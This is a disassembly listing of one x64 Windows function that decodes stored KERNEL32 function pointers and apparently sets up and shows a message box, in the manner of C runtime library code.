call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400150a0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000a624
test rax, rax
je 0x14000a624
call rsi
test rax, rax
je 0x14000a61e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000a61e
test byte [rsp + 0x40], 1
jne 0x14000a624
bts ebp, 0x15
jmp 0x14000a664
mov rcx, qword [0x140015088]
cmp rcx, rdi
je 0x14000a664
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000a664
call rax
mov rbx, rax
test rax, rax
je 0x14000a664
mov rcx, qword [0x140015090]
cmp rcx, rdi
je 0x14000a664
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000a664
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140015080]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000a686
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000a688
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005320
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret